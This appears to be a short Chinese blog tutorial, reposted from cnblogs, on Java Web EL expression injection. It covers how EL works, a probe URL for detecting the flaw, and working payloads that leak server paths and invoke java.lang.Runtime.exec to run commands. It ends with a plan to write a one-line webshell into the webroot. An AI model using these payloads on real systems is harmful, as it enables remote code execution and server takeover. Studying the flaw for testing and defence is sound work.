博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
JAVA WEB EL表达式注入
阅读量:4655 次
发布时间:2019-06-09

本文共 972 字,大约阅读时间需要 3 分钟。

  看猪猪侠以前的洞,顺便总结下:

一、EL表达式简介

  EL 全名为Expression Language。EL主要作用:

  1、获取数据
    EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
  2、执行运算
    利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
  3、获取web开发常用对象
    EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
  4、调用Java方法
    EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。

嗯,这段复制的,详细链接:

 

检测方式:

  

https://www.a.com/login?a=${10-9}

 表达式执行会会显在页面上,检查源码。

 

漏洞利用:

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径${header}  文件头参数${applicationScope} 获取webRoot${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令

  

渗透思路:获取webroot路径,exec执行命令echo写入一句话。

 

转载于:https://www.cnblogs.com/junsec/p/11132652.html

你可能感兴趣的文章
poj2393
查看>>
mysql in 的另一种替换方法
查看>>
基于注解的Spring AOP的配置和使用--转载
查看>>
无法直接启动带有“类库输出类型”的项目
查看>>
MySQL-05 用户管理
查看>>
Flex【原创】移动设备相册图片浏览功能
查看>>
Nodejs on windows 10
查看>>
HDU1233--还是畅通工程(最小生成树)
查看>>
linux——实际工作中如何使用linux
查看>>
设置 jsp 表格相邻两行的颜色不一样
查看>>
性能指标分析
查看>>
Jenkins企业应用
查看>>
[POJ 1061]青蛙的约会
查看>>
使用SeaJS实现模块化JavaScript开发
查看>>
开源项目如何赚钱
查看>>
BZOJ 1260 [CQOI2007]涂色paint(区间DP)
查看>>
HDU 1005 Number Sequence
查看>>
7 种将字符串反转的 Java 方法
查看>>
Softmax函数
查看>>
【题解】贪婪大陆
查看>>